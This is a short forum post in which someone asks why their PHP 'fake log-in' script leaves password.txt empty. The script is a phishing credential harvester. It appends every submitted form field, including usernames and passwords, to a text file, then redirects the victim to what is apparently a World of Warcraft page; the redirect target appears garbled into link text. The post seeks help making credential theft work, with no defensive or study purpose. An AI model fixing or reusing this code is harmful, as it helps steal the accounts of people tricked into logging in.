Can someone tell me whats wrong with this script:
When I open up password.txt the file is blank, even though I have tried to do the fake log-in myself?Code:<?php header("Location: World of Warcraft: Wrath of the Lich King"); $handle = fopen("password.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>